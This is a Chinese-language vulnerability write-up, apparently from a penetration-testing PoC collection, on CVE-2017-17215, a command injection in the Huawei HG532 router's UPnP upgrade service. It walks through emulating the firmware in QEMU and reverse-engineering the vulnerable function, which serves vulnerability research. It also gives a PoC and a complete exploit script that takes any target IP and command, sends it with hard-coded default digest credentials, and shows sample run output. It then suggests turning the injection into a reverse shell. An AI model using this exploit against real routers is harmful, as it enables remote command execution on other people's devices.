mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
* Move IoT docs into root iot directory Co-authored-by: Mr-xn <[email protected]> * Append missing IoT README entries Co-authored-by: Mr-xn <[email protected]> --------- Co-authored-by: copilot-swe-agent[bot] <[email protected]> Co-authored-by: Mr-xn <[email protected]>
388 lines
18 KiB
Markdown
388 lines
18 KiB
Markdown
# 华为HG532 - CVE-2017-17215漏洞简析
|
||
> 有毒
|
||
> 来源:https://www.iotsec-zone.com/article/187
|
||
|
||
**TL;DR**
|
||
|
||
CVE-2017-17215,华为HG532路由器的一个比较经典的命令注入漏洞,现在看起来属于冷饭了。但是漏洞本身还是比较有分析的价值,这种攻击界面在其他的路由器产品上也比较常见。特此从环境搭建开始,重新整理一下漏洞的分析流程。希望可以给新同学漏洞分析带来点经验,给漏洞挖掘的老手带来一点思路。如有不足之处,请多指教。
|
||
|
||
# 环境搭建
|
||
|
||
## 网络配置
|
||
|
||
### 原始Ubuntu网络
|
||
|
||

|
||
|
||
### 配置虚拟机网络
|
||
|
||
创建虚拟网桥,实现虚拟机内部和Ubuntu的连接
|
||
|
||
```
|
||
# sudo apt-get install bridge-utils
|
||
v4ler1an qemu_images ➜ sudo brctl addbr br0
|
||
v4ler1an qemu_images ➜ sudo ifconfig br0 192.168.7.1/24 up
|
||
```
|
||
|
||
创建tap接口,名字为tap0,并添加到网桥
|
||
|
||
```
|
||
v4ler1an qemu_images ➜ sudo tunctl -t tap0
|
||
Set 'tap0' persistent and owned by uid 0
|
||
v4ler1an qemu_images ➜ sudo ifconfig tap0 192.168.7.8/24 up
|
||
v4ler1an qemu_images ➜ sudo brctl addif br0 tap0
|
||
|
||
```
|
||
|
||
配置完成的网络
|
||

|
||
|
||
## qemu环境模拟
|
||
|
||
下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端
|
||
|
||
```
|
||
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
|
||
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
|
||
```
|
||
|
||

|
||
|
||
此时qemu虚拟机的网络:
|
||

|
||
给qemu虚拟机添加一个ip并测试连通性。
|
||
|
||
如果报错:
|
||
|
||
```shell
|
||
v4ler1an _HG532eV100R001C01B020_upgrade_packet.bin.extracted ➜ ssh [email protected]
|
||
Unable to negotiate with 192.168.7.7 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
|
||
```
|
||
|
||
在Ubuntu中ssh按照下面的命令进行连接:
|
||

|
||
|
||
使用scp将固件copy到qemu中:
|
||
|
||
```shell
|
||
v4ler1an _HG532eV100R001C01B020_upgrade_packet.bin.extracted ➜ scp -oHostKeyAlgorithms=+ssh-dss -r squashfs-root [email protected]:~/
|
||
```
|
||
|
||
然后切换到该固件的根目录下执行 `chroot . sh` 即可开启一个固件的sh:
|
||
|
||

|
||
|
||
## 路由器网络配置
|
||
|
||
在虚拟机中挂载 dev 和 proc
|
||
|
||
```shell
|
||
root@debian-mips:~# mount -o bind /dev ./squashfs-root/dev
|
||
root@debian-mips:~# mount -t proc /proc ./squashfs-root/proc
|
||
```
|
||
|
||
启动shell:
|
||
|
||

|
||
|
||
该shell主要用于后续更改IP使用。
|
||
|
||
Ubuntu再开终端进行ssh连接,并通过ssh连接的shell启动路由器:
|
||
|
||

|
||
|
||
这个通过ssh连接的终端实际上已经无法使用了,因为虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。
|
||
|
||
此时的网络情况如下:
|
||
|
||

|
||
|
||
需要重新更改路由器的IP,以便于外部的Ubuntu登录管理界面
|
||
|
||
```
|
||
ifconfig eth0 192.168.7.7/24 up
|
||
ifconfig br0 192.168.7.8/24 up
|
||
```
|
||
|
||
修改完成后如下:
|
||
|
||

|
||
|
||
此时访问路由的 eth0 的地址应该是可以直接进入到管理端登录页面的。如果使用firefox出现如下错误:
|
||
|
||

|
||
|
||
解决办法:
|
||
|
||

|
||
|
||
进入到路由器管理界面(admin/@Hua1234):
|
||
|
||

|
||
|
||
# 设备系统分析
|
||
|
||
## 网络情况
|
||
|
||

|
||
|
||
重点关注的端口:
|
||
|
||

|
||
|
||
`37215` 和 `37443` 都在 `/bin/mic` 文件中, `39544` 端口没有找到;`80` 和 `443` 端口很明显会在 `/bin/web` 文件中,该文件对应的是路由器的后台管理服务。
|
||
|
||
## 进程情况
|
||
|
||

|
||
|
||
系统启动的进程主要关注 bin 目录下的可执行文件,其中web是管理端服务,所以与该漏洞无关。
|
||
|
||
# 漏洞复现
|
||
|
||
poc如下:
|
||
|
||
```python
|
||
import requests
|
||
headers = {
|
||
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
|
||
}
|
||
|
||
data = '''<?xml version="1.0" ?>
|
||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
|
||
<NewStatusURL>;cat /etc/profile>/tmp/test;</NewStatusURL>
|
||
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
|
||
</u:Upgrade>
|
||
</s:Body>
|
||
</s:Envelope>
|
||
'''
|
||
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
|
||
```
|
||
|
||
直接python执行,会在目标的 `/tmp` 目录下创建 `test` 文件,其内容为 `/etc/profile` 文件内容:
|
||
|
||

|
||
|
||
# 漏洞分析
|
||
|
||
## 漏洞描述
|
||
|
||
Huawei HG532 路由器部分版本存在远程命令执行漏洞,漏洞利用的端口为 37215 ,成功利用可以实现远程执行任意代码。
|
||
|
||
### 漏洞信息搜集
|
||
|
||
#### 1. 官方公告
|
||
|
||
[https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en](https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en)
|
||
|
||
#### 2. Check Point
|
||
|
||
漏洞首发于CheckPoint,其漏洞报告中描述了漏洞利用的一些细节:
|
||
|
||
1. 华为家庭网关使用了UPnP(Universal Plug and Play) 协议,该协议在 TR-064 技术报告中进行了标准化,并被广泛应用于嵌入式设备中,以实现家庭和企业环境中网络设施的无缝连接和简化,主要是本地网络的配置,例如允许在内部网络中实施基本的设备配置、固件升级等。在目标路由器中,通过 37215 端口将 TR-064 暴露在了 WAN 网络环境中。
|
||
2. 华为的这款路由器中的 UPnP 支持 `DeviceUpgrade` 的服务类型,该服务通过向 `/ctrlt/DeviceUpgrade_1` 发送请求来执行固件升级操作,并使用到了名为 `NewStatusURL` 和 `NewDownloadURL` 的两个 SOAP 元素。
|
||
3. 漏洞发生在对 `NewStatusURL` 和 `NewDownloadURL` 的处理流程,在这两个元素中存在命令注入漏洞。
|
||
|
||
## 静态分析
|
||
|
||
**一般情况下可以使用Ghidra,但是IDA 7.7真香。**
|
||
|
||
### Ghidra分析结果
|
||
|
||
因为确认是 mips 架构,所以首先使用 Ghidra 进行静态反编译。
|
||
|
||
1. 首先查看 upnp ,并通过搜索字符串 `NewStatusURL` 定位到问题函数 `FUN_0040749c`:
|
||
|
||

|
||
|
||

|
||
|
||
2. 在函数 `FUN_0040749c` 中,在第二个 `if` 内部存在一个 `system` 函数,该函数执行的参数来自 `snprintf` 。而 `snprintf` 函数的参数中存在拼接的情况,其中就包含 `NewStatusURL` 中的元素。
|
||
|
||
### IDA 7.7 分析结果
|
||
|
||
1. 首先看下文件的基本信息,这里 IDA 7.7 识别的是 MIPS big endian:
|
||
|
||

|
||
|
||
2. 根据字符串定位到具体函数:
|
||
|
||

|
||
|
||
在该函数中,首先通过 `ATP_XML_GetChildNodeByName` 函数来获取 xml 中的 `NewDownloadURL` 节点中的内容给到 `v4` ,成功后再获取 `NewStatusURL` 节点中的内容给到 `v5` 。如果两个节点都获取成功,则调用 `snprintf` 函数进行字符串拼接,最后将拼接成功的字符串传递给 `system` 函数去执行,整体上漏洞逻辑相对简单。
|
||
|
||
3. 进入到 `ATP_XML_GetChildNodeByName` 函数来看它是怎么处理 xml 中的节点的:
|
||
|
||

|
||
|
||
遍历节点中所有的子节点,寻找和 `NewStatusURL` 和 `NewDownloadURL` 同名的节点值,然后调用 `sub_408540` 函数进行一些逻辑处理,最终写入到 `a4` 地址处。
|
||
|
||
4. 漏洞利用需要查看 `sub_40749C` 函数的引用,来看数据的传入,但是在 IDA 中直接查看交叉引用没有成功解析,所以需要使用手动方式。
|
||
|
||
### 漏洞函数的触发流程
|
||
|
||
在文件系统中查找两个关键字符串的引用:
|
||
|
||

|
||
|
||
文件 `/etc/upnp/DevUpg.xml` 的内容如下:
|
||
|
||

|
||
|
||
该 `xml` 看起来是协议字段的一些定义。继续在 `upnp` 文件中查找对该 xml 的引用,发现在 `ATP_UPNP_RegDeviceAndService()` 函数中。该函数大量调用 `ATP_UPnP_RegDevice` 函数和 `ATP_UPnP_RegService`:
|
||
|
||

|
||
|
||
从函数名可以简单判断这俩函数的主要作用是注册设备和服务,那么 `ATP_UPNP_RegDeviceAndService()` 函数整体就是用于设置开启外网对内访问的服务。
|
||
|
||
首先注册设备和服务:
|
||
|
||
```c
|
||
v0 = ATP_UPnP_RegDevice(0, dword_426854, "InternetGatewayDevice:1", 3);
|
||
v1 = ATP_UPnP_RegService(0, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2);
|
||
```
|
||
|
||
然后调用 `ATP_UPNP_RegAction(0, 2)` 函数进行注册的相关操作,其中第二个参数为标识码。函数内部如下;
|
||
|
||

|
||
|
||
其中涉及到一个全局变量 `g_astActionArray` ,发现是一个函数虚表:
|
||
|
||

|
||
其中就包含漏洞函数 `sub_40749c` ,目前可以推断该函数主要就是用作设备更新使用的。
|
||
|
||
继续查看虚表的引用,来确认函数指针在什么位置被调用:
|
||
|
||

|
||
|
||
主要函数是 `UPnPGetActionByName`:
|
||
|
||

|
||
|
||
对该函数的调用最终可以追溯到:
|
||
|
||

|
||
|
||
在函数 `sub_40A9C8` 中有这样的逻辑:
|
||
|
||

|
||
|
||
而在 `UpnpGetServiceByUrl` 函数内部:
|
||
|
||

|
||
|
||
从函数逻辑可以判断 `a1` 是一个 url 变量,`g_pstUpnpGvarHead` 全局变量在 `ATP_UPNP_Init` 函数中进行赋值:
|
||
|
||

|
||
|
||
到此为止,我们的静态分析基本就可以梳理清楚漏洞的触发流程了,核心的关键点还是构造一个带漏洞字段的xml。
|
||
|
||
## 漏洞利用
|
||
|
||
根据我们静态分析的结果,可以基本确认漏洞的触发流程,UPnP 服务是默认开启的,如果我们能在执行 `DeviceUpgrade_1` 这个action的时候,将那两个字段进行命令注入即可实现漏洞利用。
|
||
|
||
根据 Check Point 的 poc,抓取其流量可以看到 xml 数据的详细组织形式:
|
||
|
||

|
||
|
||
根据poc和流量构建 exp 如下:
|
||
|
||
```python
|
||
import requests
|
||
import click
|
||
from threading import Thread
|
||
from requests.auth import HTTPDigestAuth
|
||
|
||
print(f"""
|
||
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
|
||
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
|
||
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
|
||
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
|
||
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
|
||
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
|
||
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
|
||
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
|
||
""")
|
||
|
||
@click.command()
|
||
@click.option('-i', '--ip', help="Target ip to attack.")
|
||
@click.option('-c', '--command', type=str, help="Command want to execute.")
|
||
def attack(ip, command):
|
||
print("[+] Start Attacking...")
|
||
url = f"http://{ip}:37215/ctrlt/DeviceUpgrade_1"
|
||
payload = '''<?xml version=\"1.0\" ?>\n'''
|
||
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
|
||
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
|
||
payload += f"<NewStatusURL>;{command};</NewStatusURL>\n"
|
||
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
|
||
payload += '''</s:Body>\n'''
|
||
payload += '''</s:Envelope>'''
|
||
|
||
resp = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
|
||
if resp.status_code == 200:
|
||
print("[+] Attack Success.")
|
||
else:
|
||
print("[+] Ooops! Attack faild, something wrong.")
|
||
|
||
if __name__ == '__main__':
|
||
attack()
|
||
|
||
```
|
||
|
||
>需要特殊说明的是,在exp中需要添加http的身份验证,否则会报401错误。
|
||
>
|
||
>exp中给定的命令是 cat /etc/profile>/tmp/test,会把/etc/profile文件内容和读取到/tmp/test文件中。
|
||
|
||
exp 使用:
|
||
|
||
```shell
|
||
v4ler1an CVE-2017-17215 ➜ python3 exp.py --help
|
||
|
||
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
|
||
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
|
||
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
|
||
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
|
||
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
|
||
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
|
||
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
|
||
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
|
||
|
||
Usage: exp.py [OPTIONS]
|
||
|
||
Options:
|
||
-i, --ip TEXT Target ip to attack.
|
||
-c, --command TEXT Command want to execute.
|
||
--help Show this message and exit.
|
||
|
||
v4ler1an CVE-2017-17215 ➜ python3 exp.py -i 192.168.7.7 -c "cat /etc/profile>/tmp/test"
|
||
|
||
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
|
||
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
|
||
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
|
||
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
|
||
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
|
||
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
|
||
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
|
||
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
|
||
|
||
[+] Start Attacking...
|
||
[+] Attack Success.
|
||
```
|
||
|
||
## 扩展利用
|
||
|
||
为便捷使用exp,我们可以将命令执行结果打印到web服务的一个页面上,也可以进行反弹shell。但是路由器设备的web服务是直接封装在了二进制文件中,通过`etc/webidx` 文件进行路由,所以打印命令执行结果的方式不可行。因此只能先进行反弹shell。
|
||
|
||
将注入的命令修改成反弹shell的相关命令,本地进行 nc 监听即可实现反弹shell。强烈建议使用 msf 这种成熟工具生成的反弹shell的shellcode。
|
||
|
||
# 总结
|
||
|
||
整体而言,该漏洞本身难度简单,分析其调用流程可能花费的时间会多一些。但是路由器系统本身体积较小,逆向梳理难度不大。
|
||
|
||
# 参考链接
|
||
|
||
1. [https://xz.aliyun.com/t/8494](https://xz.aliyun.com/t/8494)
|
||
2. [https://blog.csdn.net/wuyou1995/article/details/109607992](https://blog.csdn.net/wuyou1995/article/details/109607992)
|
||
3. [https://research.checkpoint.com/2017/good-zero-day-skiddie/](https://research.checkpoint.com/2017/good-zero-day-skiddie/)
|